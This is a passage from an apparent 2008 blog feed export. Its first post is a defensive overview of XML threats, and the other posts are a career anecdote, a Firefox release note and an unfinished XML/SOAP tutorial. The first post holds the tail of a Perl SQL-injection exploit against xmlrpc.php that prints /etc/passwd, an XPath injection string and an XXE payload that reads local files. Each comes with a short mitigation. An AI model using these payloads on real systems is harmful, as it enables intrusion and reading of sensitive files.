&amp;lt;param&amp;gt;&amp;lt;value&amp;gt;&amp;lt;string&amp;gt;".$password."&amp;lt;/string&amp;gt;&amp;lt;/value&amp;gt;   &amp;lt;/param&amp;gt;   &amp;lt;param&amp;gt;&amp;lt;value&amp;gt;  &amp;lt;array&amp;gt;    &amp;lt;data&amp;gt;&amp;lt;value&amp;gt;  &amp;lt;struct&amp;gt;    &amp;lt;member&amp;gt;      &amp;lt;name&amp;gt;categoryId&amp;lt;/name&amp;gt;      &amp;lt;value&amp;gt;&amp;lt;string&amp;gt;1&amp;lt;/string&amp;gt;&amp;lt;/value&amp;gt;    &amp;lt;/member&amp;gt;    &amp;lt;member&amp;gt;      &amp;lt;name&amp;gt;categoryName&amp;lt;/name&amp;gt;      &amp;lt;value&amp;gt;&amp;lt;string&amp;gt;Uncategorized&amp;lt;/string&amp;gt;&amp;lt;/value&amp;gt;    &amp;lt;/member&amp;gt;    &amp;lt;member&amp;gt;      &amp;lt;name&amp;gt;isPrimary&amp;lt;/name&amp;gt;      &amp;lt;value&amp;gt;&amp;lt;boolean&amp;gt;0&amp;lt;/boolean&amp;gt;&amp;lt;/value&amp;gt;    &amp;lt;/member&amp;gt;  &amp;lt;/struct&amp;gt;&amp;lt;/value&amp;gt;  &amp;lt;/data&amp;gt;&amp;lt;/array&amp;gt;&amp;lt;/value&amp;gt;   &amp;lt;/param&amp;gt;   &amp;lt;/params&amp;gt;&amp;lt;/methodCall&amp;gt;";my $req2 = new HTTP::Request POST =&amp;gt; $host . "/xmlrpc.php";$req2-&amp;gt;content($sql4);$res2 = $ua-&amp;gt;request($req2);$out2 = $res2-&amp;gt;content;@result3=split(/category_id =/,$out2);$hash=substr($result3[1],1,1600);print "Here is the /etc/passwd file:\n\n\n";&lt;/pre&gt;&lt;br /&gt;As you may have guessed, xmlrpc sends SQL queries as part of the Element content.&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;Solution:&lt;/strong&gt; Strong and Efficient RegEx support for matching element Content for malicious sql statements.&lt;br /&gt;&lt;h3&gt;&lt;strong&gt;&lt;strong&gt;4.2) &lt;/strong&gt;&lt;/strong&gt;&lt;strong&gt;XPath Injection:&lt;/strong&gt;&lt;/h3&gt;&lt;br /&gt;The XPATH Injection is analogous to SQL injection.&lt;br /&gt;For example: Strings passed from the user input to the XPATH Parser are vulnerable:&lt;br /&gt;&lt;pre&gt;"//users/user[LoginID/text()=' " + loginID+ " ' and password/text()='"+ password +" ']" &lt;br /&gt;&lt;br /&gt;//users/user[loginID/text()='' or 1=1 or ''='' and password/text()='' or 1=1 or ''='']&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Solution: Validation of Xpath queries.&lt;/strong&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h2&gt;5) External Entity Threats&lt;/h2&gt;&lt;br /&gt;o Manipulation of the XML processor de-reference external URIs&lt;br /&gt;&lt;br /&gt;Reference: Adobe 7.0 XML parser vulnerability of external URI's:&lt;br /&gt;source &lt;a id="mrzj" title="http://shh.thathost.com/secadv/adobexxe/" href="http://shh.thathost.com/secadv/adobexxe/"&gt;http://shh.thathost.com/secadv/adobexxe/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Adobe reader 7.0 XML parser could be tricked into reading Local files from the machine.&lt;br /&gt;&lt;br /&gt;The following example XML document will make an XML parser read &lt;tt&gt;c:\boot.ini&lt;/tt&gt; and expand it into the content of the &lt;tt&gt;foo&lt;/tt&gt; tag:&lt;br /&gt;&lt;blockquote id="-g5" class="samplecode"&gt;&lt;tt&gt; &amp;lt;?xml version="1.0" encoding="ISO-8859-1"?&amp;gt;&lt;br /&gt;&amp;lt;!DOCTYPE foo [&lt;br /&gt;&amp;lt;!ELEMENT foo ANY&amp;gt;&lt;br /&gt;&amp;lt;!ENTITY xxe SYSTEM "c:/boot.ini"&amp;gt;&lt;br /&gt;]&amp;gt;&lt;br /&gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt; &lt;/tt&gt;&lt;/blockquote&gt;&lt;br /&gt;From &lt;a id="pvof" title="External Entity attack" href="http://www.securityfocus.com/archive/1/297714"&gt;www.SecurityFocus.com: External Entity attack&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;External entity references allow embedding data outside the main file into&lt;br /&gt;an XML document. In the DTD, one declares the external reference with the&lt;br /&gt;following syntax: &amp;lt;!ENTITY name SYSTEM "URI"&amp;gt;&lt;br /&gt;&lt;br /&gt;XML processor behavior as specified is [http://www.w3.org/TR/REC-xml#include-if-valid]:&lt;br /&gt;&lt;br /&gt;"When an XML processor recognizes a reference to a parsed entity, in&lt;br /&gt;order to validate the document, the processor must include its&lt;br /&gt;replacement text. If the entity is external, and the processor is not&lt;br /&gt;attempting to validate the XML document, the processor may, but need&lt;br /&gt;not, include the entity's replacement text..."&lt;br /&gt;&lt;br /&gt;Now assume that the XML processor parses data originating from a source under&lt;br /&gt;attacker control. Most of the time the processor will not be validating,&lt;br /&gt;but it MAY include the replacement text thus initiating an unexpected&lt;br /&gt;file open operation, or HTTP transfer, or whatever system ids the XML&lt;br /&gt;processor knows how to access.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Solution: &lt;/strong&gt;&lt;br /&gt;To follow known good URIs (white listed URIs). Or&lt;br /&gt;To ignore External Entity references.&lt;br /&gt;&lt;h2&gt;6) XML Security Threats&lt;/h2&gt;&lt;br /&gt;&lt;span lang="en-US"&gt;&lt;span style="font-size:small;"&gt;&lt;span style="font-family:Times New Roman,serif;"&gt;&lt;span style="color:#000000;"&gt;The threat is that attacker can replay previous messages.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Solution is to have a filter on selected values inside the message (Nonce, Message ID or Custom XPath) which cannot be repeated. The filter will than stop any subsequent replayed request.&lt;br /&gt;&lt;br /&gt;Have a Good Day!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-1109679440489455523?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/1109679440489455523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=1109679440489455523' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1109679440489455523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1109679440489455523'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/xml-threat-protection.html' title='Xml Threat Protection'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-1335671835222996314</id><published>2008-07-02T04:23:00.000-07:00</published><updated>2008-12-02T04:22:25.048-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TechPhilosophy'/><title type='text'>I don't want to be Smart and Successful</title><content type='html'>As I stumbled and fumbled over my career in the past, somehow I Landed up in Microsoft. The initial euphoria of Joining Microsoft Died soon and reality set in. I was nobody, just another brick in the wall doing some patches, bug fixes, fixing build and sanity breaks.&lt;br /&gt;&lt;br /&gt;There was a internal group in Microsoft headed by nerdy Architect who's name I would not say in public. That group was tech savvy and liked to take up new experiments and small side on projects. As a new MS Employee with full fervor and enthusiasm I was ready to take up challenges and show them what I was. Now this Nerdy Architect gave me task to capture Network bandwidth per process. Apparently there was no straight forward way to capture per process bandwidth. With snooping of ethernet frames ruled out, we wanted a better scalable way to highlight and show per process network usage as a utility. I spent days reading MSDN trying to find what all Api's are available. With Time I made a small CLI based utility. I sent this to the group. To my astonishment this Nerdy Architect rudely replied that he didn't Like the utility and even went to the extent of ridiculing it. I was taken aback. That was not the kind of open-environment I had hoped I would get in Microsoft. I replied back that I would try to improve the utility. That was my first bad experience in Microsoft.&lt;br /&gt;&lt;br /&gt;I Left Microsoft after a short stint of 1.5 years. Although I don't blame the Nerdy Architect for it, but he is one of the bad episodes I had in my corporate career.&lt;br /&gt;&lt;br /&gt;There are smart people and there are successful people and there are nice people.That means there is a total of 7 possible combinations.&lt;br /&gt;&lt;br /&gt;The most dangerous combination is being smart &amp;amp; successful.&lt;br /&gt;&lt;br /&gt;Smart and successful people start thinking that they can never make mistakes (&lt;a href="http://en.wikipedia.org/wiki/Pirates_of_Silicon_Valley"&gt;Pirates of the Silicon Valley&lt;/a&gt;) And If there are not so nice then god help those who work with them!&lt;br /&gt;&lt;br /&gt;I don't want to be smart and Successful. I want to be smart &amp;amp; nice. Success might come on the way...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-1335671835222996314?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/1335671835222996314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=1335671835222996314' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1335671835222996314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1335671835222996314'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/i-don-want-to-be-smart-and-successful.html' title='I don&amp;#39;t want to be Smart and Successful'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8760075879619030467</id><published>2008-07-02T03:24:00.000-07:00</published><updated>2008-12-02T04:22:28.283-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CoolTech'/><title type='text'>Firefox 3.0 is released</title><content type='html'>&lt;img class="aligncenter" src="http://www.mozilla.com/img/tignish/firefox/all-firefox-logo.png" alt="" /&gt;&lt;br /&gt;&lt;p style="text-align:center;"&gt;&lt;img class="aligncenter" src="http://imgs.xkcd.com/comics/perspective.png" alt="" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="text-align:center;"&gt;Firefox 3.0 is available at &lt;a href="http://www.getfirefox.com"&gt;http://www.getfirefox.com&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8760075879619030467?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8760075879619030467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8760075879619030467' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8760075879619030467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8760075879619030467'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/firefox-30-is-released.html' title='Firefox 3.0 is released'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8505895847798035066</id><published>2008-06-29T19:30:00.000-07:00</published><updated>2008-12-02T04:22:33.625-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web services Architecture'/><title type='text'>The X of the XML</title><content type='html'>&lt;h1 class="western" style="background:#c6d9f1 none repeat scroll 0 50%;page-break-before:always;"&gt;The X OF XML&lt;/h1&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;&lt;a id="wq1g200" name="u0ms4"&gt;&lt;/a&gt;&lt;a id="wq1g201" name="vaka1"&gt;&lt;/a&gt;&lt;a id="wq1g202" name="y1rp"&gt;&lt;/a&gt; &lt;img src="http://docs.google.com/File?id=ddd2rd4p_28chwr99gq_b" border="0" alt="" width="275" height="313" align="bottom" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;&lt;a id="wq1g208" name="pi_g"&gt;&lt;/a&gt;&lt;a id="wq1g209" name="zdrz"&gt;&lt;/a&gt;&lt;a id="wq1g210" name="mlpk"&gt;&lt;/a&gt;&lt;a id="wq1g211" name="cwuz"&gt;&lt;/a&gt;&lt;a id="wq1g212" name="ifkh0"&gt;&lt;/a&gt;&lt;a id="wq1g213" name="ifkh1"&gt;&lt;/a&gt;&lt;a id="wq1g214" name="ifkh2"&gt;&lt;/a&gt;&lt;a id="wq1g215" name="xxfj"&gt;&lt;/a&gt;&lt;a id="wq1g216" name="po08"&gt;&lt;/a&gt;&lt;a id="wq1g217" name="po080"&gt;&lt;/a&gt;&lt;a id="wq1g218" name="tqa5"&gt;&lt;/a&gt;&lt;a id="wq1g219" name="ifkh3"&gt;&lt;/a&gt;&lt;a id="wq1g220" name="nkct"&gt;&lt;/a&gt;&lt;a id="wq1g221"&gt;&lt;/a&gt;&lt;a id="wq1g222" name="ifkh4"&gt;&lt;/a&gt; &lt;em&gt;Add X to anything and it becomes sexy... that's what my boss told 	me once...&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Back in 2001 when I was a kid, just out of 	college, I had joined a small startup name Aplion Networks.&lt;br /&gt;The 	company had a router on a real time system name Vxworks. Things were 	going great, until the 30 million funding went foo() and Company 	future was in doldrums.&lt;br /&gt;&lt;br /&gt;XML was a hot new technology then and 	Web based configuration using XML was IN.&lt;br /&gt;Nobody in the team who 	worked on core protocols, firewalls, QOS and other cool stuff wanted 	to work on XML.&lt;br /&gt;But management wanted the cool stuff (a last step 	to save a dying product) and I was the default choice.&lt;br /&gt;&lt;br /&gt;A 	newbie who was given the task of getting the XML buzzword into the 	product specification.&lt;br /&gt;&lt;br /&gt;This is my tryst with XML...&lt;br /&gt;&lt;p class="western" style="margin-right:0.06in;margin-top:0.06in;margin-bottom:0.06in;page-break-before:always;"&gt;&lt;a id="wq1g239" name="nkct0"&gt;&lt;/a&gt;&lt;a id="wq1g240" name="y1rp1"&gt;&lt;/a&gt;&lt;a id="wq1g241" name="y1rp0"&gt;&lt;/a&gt;&lt;a id="wq1g242" name="ifkh5"&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="western"&gt;&lt;a id="wq1g246" name="y1rp11"&gt;&lt;/a&gt;&lt;a id="wq1g247" name="nkct1"&gt;&lt;/a&gt;&lt;a id="wq1g248" name="1.1.XML is Text |outline"&gt;&lt;/a&gt; XML is Text&lt;/h2&gt;&lt;br /&gt;&lt;p class="western" style="margin-bottom:0.2in;"&gt;&lt;a id="wq1g250" name="y_t9"&gt;&lt;/a&gt;&lt;a id="wq1g251" name="qdd2"&gt;&lt;/a&gt;&lt;a id="wq1g252" name="j3y0"&gt;&lt;/a&gt;&lt;a id="wq1g253" name="mqix"&gt;&lt;/a&gt;&lt;a id="wq1g254" name="7"&gt;&lt;/a&gt;&lt;a id="wq1g255" name="a35y"&gt;&lt;/a&gt;&lt;a id="wq1g256" name="ar_n"&gt;&lt;/a&gt;&lt;a id="wq1g257" name="g-4."&gt;&lt;/a&gt;&lt;a id="wq1g258" name="bt3j"&gt;&lt;/a&gt;&lt;a id="wq1g259" name="d1qd3"&gt;&lt;/a&gt;&lt;a id="wq1g260" name="tvhk"&gt;&lt;/a&gt;&lt;a id="wq1g261" name="doe7"&gt;&lt;/a&gt;&lt;a id="wq1g262" name="ccpi"&gt;&lt;/a&gt;&lt;a id="wq1g263" name="doe70"&gt;&lt;/a&gt;&lt;a id="wq1g264"&gt;&lt;/a&gt;&lt;a id="wq1g265" name="doe71"&gt;&lt;/a&gt;&lt;a id="wq1g266" name="0"&gt;&lt;/a&gt;&lt;a id="wq1g267" name="doe72"&gt;&lt;/a&gt;&lt;a id="wq1g268" name="3"&gt;&lt;/a&gt;&lt;a id="wq1g269" name="doe73"&gt;&lt;/a&gt;&lt;a id="wq1g270" name="4"&gt;&lt;/a&gt;&lt;a id="wq1g271" name="doe74"&gt;&lt;/a&gt;&lt;a id="wq1g272" name="5"&gt;&lt;/a&gt;&lt;a id="wq1g273" name="p-oa"&gt;&lt;/a&gt;&lt;a id="wq1g274" name="wb30"&gt;&lt;/a&gt;&lt;a id="wq1g275" name="wb300"&gt;&lt;/a&gt;&lt;a id="wq1g276" name="lwev"&gt;&lt;/a&gt;&lt;a id="wq1g277" name="lwev0"&gt;&lt;/a&gt;&lt;a id="wq1g278" name="lwev1"&gt;&lt;/a&gt;&lt;a id="wq1g279" name="o0ls"&gt;&lt;/a&gt;&lt;a id="wq1g280" name="o0ls0"&gt;&lt;/a&gt;&lt;a id="wq1g281" name="hkqm"&gt;&lt;/a&gt;&lt;a id="wq1g282" name="hkqm0"&gt;&lt;/a&gt;&lt;a id="wq1g283" name="aeb8"&gt;&lt;/a&gt;&lt;a id="wq1g284" name="j7-0"&gt;&lt;/a&gt;&lt;br /&gt;XML was text, everything about it was text and fortunately or 	unfortunately it is still text!&lt;br /&gt;&lt;br /&gt;But back in 2001 we were so 	use to the binary protocols. TCP/IP, the header, length, type and 	its value..fixed size IP Datagram’s, and the Ethernet 	frames...Why do we need data to be send in as text? but then 	everything about Internet was text..&lt;br /&gt;&lt;br /&gt;HTML was a hit thing, 	and it was simple.&lt;br /&gt;Encapsulate things in Tags like &amp;lt;head&amp;gt; 	&amp;lt;body&amp;gt; &amp;lt;h1&amp;gt; &amp;lt;b1&amp;gt; ### &amp;lt;Li&amp;gt; &amp;lt;/h1&amp;gt; 	&amp;lt;/body&amp;gt; &amp;lt;/head&amp;gt;&lt;br /&gt;which were understood by browsers and 	they render the text inside those tags. Simple and 	effective!&lt;br /&gt;&lt;br /&gt;Everyone had praise for such a simple and 	effective way to represent their data...&lt;br /&gt;Previously people had 	their own way to represent their data in .ini files and .csv files 	and .conf files.&lt;br /&gt;&lt;br /&gt;For ex: I searched for  *.ini files in 	my windows and I found tons of 	them!&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family:Courier New,monospace;"&gt;[Startup]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New,monospace;"&gt;AppName=SoundMAX&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New,monospace;"&gt;[Languages]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New,monospace;"&gt;Default=0x0009&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New,monospace;"&gt;count=20&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Wouldn't 	it be nice if there was a standard way to represent data?&lt;br /&gt;Wouldn't 	it be nice if there is a standard parser for parsing such a 	standard?&lt;br /&gt;I think that was the original intention in w3c for 	getting out XML.&lt;br /&gt;&lt;br /&gt;Originally based on SGML (which I've heard 	was the mother of all ML's (Meta languages)..&lt;br /&gt;XML was defined to 	be a meta language to represent data.&lt;br /&gt;&lt;br /&gt;Data was to be 	encapsulated in  &amp;lt;tags&amp;gt; and end tags &amp;lt;/tags&amp;gt;&lt;br /&gt;Attributes 	were to be defined inside tags  &amp;lt;tags name="MyName" 	/&amp;gt;&lt;br /&gt;&lt;br /&gt;The idea was to come out with a standard simple parser 	which could parse a 'simple' text file in the following format:&lt;br /&gt;&lt;pre&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"? standalone="yes"&amp;gt;&lt;a id="wq1g328" name="d1ta"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;root&amp;gt;&lt;a id="wq1g329" name="d1ta0"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;Name age="29"&amp;gt;MamaMia&amp;lt;/Name&amp;gt;&lt;a id="wq1g330" name="juzi"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;phone/&amp;gt;&lt;a id="wq1g331" name="d1ta1"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;/root&amp;gt;&lt;a id="wq1g332" name="c0hs"&gt;&lt;/a&gt;&lt;a id="wq1g333" name="h2xk"&gt;&lt;/a&gt;&lt;a id="wq1g334" name="j7-08"&gt;&lt;/a&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Suddenly people were going crazy over the simplicity of representing data in XML.&lt;/span&gt; &lt;a id="wq1g336" name="c0hs0"&gt;&lt;/a&gt;&lt;a id="wq1g337" name="bwml"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;- The tags were to be defined by the programmers designing their Applications.&lt;/span&gt; &lt;a id="wq1g339" name="c0hs1"&gt;&lt;/a&gt;&lt;a id="wq1g340" name="bwml0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;- There was no need to define the Endiness of data. &lt;/span&gt; &lt;a id="wq1g342" name="c0hs2"&gt;&lt;/a&gt;&lt;a id="wq1g343" name="masf"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;- no htons() or network to host macros were required.. after all everything was text!&lt;/span&gt; &lt;a id="wq1g345" name="c0hs3"&gt;&lt;/a&gt;&lt;a id="wq1g346" name="1"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;- It was easy to debug and edit, it was text! Network apps using XML as protocol was considered cool...&lt;/span&gt; &lt;a id="wq1g348" name="c0hs4"&gt;&lt;/a&gt;&lt;a id="wq1g350" name="zrxq"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;There was nothing like xml, nothing comparable...&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Nothing even remote had happened in the past which could even come close!&lt;/span&gt; &lt;span style="font-family:Verdana,sans-serif;"&gt;That was the power of X M L ... or At least that was the hue and cry over xml in 2001..&lt;/span&gt; &lt;a id="wq1g358" name="c0hs7"&gt;&lt;/a&gt;&lt;a id="wq1g359" name="sp2k"&gt;&lt;/a&gt;&lt;a id="wq1g360" name="bzy0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Soon people defined protocols between applications using XML:&lt;/span&gt; &lt;a id="wq1g362" name="c0hs8"&gt;&lt;/a&gt;&lt;a id="wq1g363" name="bnru0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;The SOAP format in XML was defined to be:&lt;/span&gt; &lt;a id="wq1g365" name="xa0e"&gt;&lt;/a&gt;&lt;a id="wq1g366" name="c0hs9"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;a id="wq1g367" name="x92_"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;soap:Envelope&lt;a id="wq1g368" name="x92_0"&gt;&lt;/a&gt;xmlns:soap="http://www.w3.org/2001/12/soap-envelope"&lt;br /&gt;soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding"&amp;gt;&lt;a id="wq1g370" name="x92_2"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;soap:Header&amp;gt;...&amp;lt;/soap:Header&amp;gt;&lt;br /&gt;&amp;lt;soap:Body&amp;gt;&lt;a id="wq1g372" name="a65j"&gt;&lt;/a&gt; &lt;br /&gt;    &amp;lt;soap:Fault&amp;gt;&amp;lt;/soap:Fault&amp;gt;&lt;a id="wq1g373" name="x92_5"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;/soap:Body&amp;gt;&lt;a id="wq1g374" name="x92_6"&gt;&lt;/a&gt;&lt;br /&gt;&amp;lt;/soap:Envelope&amp;gt;&lt;/pre&gt;&lt;br /&gt;Looks Cryptic isn't it? &lt;strong&gt;&lt;em&gt;SOAP&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;once stood for 'Simple Object Access Protocol' but this&lt;/em&gt; &lt;a id="wq1g386" name="xa0e1"&gt;&lt;/a&gt;&lt;em&gt;acronym was dropped with Version 1.2 of the standard, as it was&lt;/em&gt; &lt;em&gt;considered to be misleading. &amp;lt;&lt;/em&gt;&lt;span style="color:#000080;"&gt;&lt;span style="text-decoration:underline;"&gt;&lt;a id="wq1g393" href="http://en.wikipedia.org/wiki/SOAP#History"&gt;Wikipedia&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;em&gt;&amp;gt;&lt;/em&gt;&lt;br /&gt;&lt;h2 class="western"&gt;&lt;a id="wq1g396" name="am3h0"&gt;&lt;/a&gt;&lt;a id="wq1g397" name="tlyd0"&gt;&lt;/a&gt;&lt;a id="wq1g398" name="tlyd"&gt;&lt;/a&gt;&lt;a id="wq1g399" name="mf6d"&gt;&lt;/a&gt;&lt;a id="wq1g400" name="bi3b"&gt;&lt;/a&gt;&lt;a id="wq1g401" name="1.2.Namespaces xmlns="&gt;&lt;/a&gt; Namespaces xmlns="URI"&lt;/h2&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Writing the above soap xml without the namespaces:&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&amp;lt;Envelope&amp;gt;&lt;br /&gt;&amp;lt;Header&amp;gt;...&amp;lt;/Header&amp;gt;&lt;br /&gt;&amp;lt;Body&amp;gt;&lt;br /&gt;   &amp;lt;Fault&amp;gt;...&amp;lt;/Fault&amp;gt;&lt;br /&gt;&amp;lt;/Body&amp;gt;&lt;br /&gt;&amp;lt;/Envelope&amp;gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;simple, neat and clean isn't it? Then why Clutter it with Namespaces?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Namespaces were not new, they were being used in languages like c++ since ages.&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;The standard namespace defined in c++ was std.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The programmer had two ways to use C++ namespaces.&lt;br /&gt;&lt;pre&gt;1) Prefix namespace in front of all functions. Example: std:cout &amp;lt;&amp;lt; "Hello World"; OR&lt;br /&gt;2) Define the namespace at the top and then you may not prefix the namespace (for better clarity of the code)&lt;br /&gt;   Example: using namespace std; &lt;br /&gt;            cout &amp;lt;&amp;lt; "Hello world"&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;The Idea was that people defining there xml tags(or classes in c++) could declare them within their own namespaces.&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt; And hence, tag names of two different xml's will remain unique owing to two different namespaces.&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;But can't namespace itself clash? &lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;They wouldn't, if people who declare their xml's use Unique URI's(there domain names, which would be unique).&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;And xmlns was a keyword defined to define namespaces like this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;xmlns:soap="http://www.w3.org/2001/12/soap-envelope"&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;Example:&lt;br /&gt;&amp;lt;soap:Envelope xmlns:soap="http://www.w3.org/2001/12/soap-envelope"&amp;gt;&lt;br /&gt;&amp;lt;soap:Header&amp;gt;...&amp;lt;/soap:Header&amp;gt;&lt;br /&gt;&amp;lt;...&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;where soap was called the prefix and the href as the unique URI (could be fictitious) but had to be unique.&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Also note that 'prefixes' themselves carry no meaning, it’s the URI that make them Unique.&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Two different xml's could define two prefixes pointing to a single namespace URI. &lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Point is that they are still the same namespace.&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Usage of xmlns:&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;1) Define xmlns:prefix="URI" somewhere at the parent node (or the place you start using it)&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;2) Prefix all child nodes with the prefix.&lt;/span&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;Fortunately there is a way to remove the cryptic namespace and make your xml neat and clean.&lt;/span&gt;&lt;a id="wq1g423" name="1.2.1.Default namespace|outline"&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;Default namespace&lt;/h2&gt;&lt;br /&gt;&lt;span style="font-family:Verdana,sans-serif;"&gt;If most of the elements in the document belong to the same namespace, it is&lt;/span&gt; &lt;span 